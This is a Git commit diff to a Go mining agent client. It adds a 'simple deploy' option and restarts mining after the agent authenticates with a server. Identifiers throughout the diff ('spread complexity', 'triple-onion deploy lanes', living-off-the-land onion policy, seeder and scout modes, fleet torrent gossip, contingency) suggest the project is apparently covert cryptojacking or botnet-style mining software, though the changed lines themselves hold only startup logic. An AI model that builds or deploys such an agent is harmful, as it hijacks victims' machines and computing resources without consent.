Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
AetherForge
2026-06-07 19:48:32 -07:00
parent 07fdb39b63
commit 9e870fff8b
19 changed files with 442 additions and 8 deletions

View File

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
c.miningChain = c.newMiningChainRunner()
if isSeeder {
deploy.StartSeederStaging(c.cfg)
} else if deploy.WantsDeferMining() {
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
SimpleDeploy: c.cfg.SimpleDeploy,
JoinLane: c.getJoinLane(),
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
SeederMode: c.cfg.SeederMode,
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.kickMiningAfterAuth()
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
u.Fragment = ""
return u.String(), nil
}
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
}
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
return
}
if c.miningCtx == nil || c.miningChain == nil {
return
}
go func() {
log.Printf("[mining] restarting chain after auth with server policy")
c.miningChain.Restart(c.miningCtx)
}()
}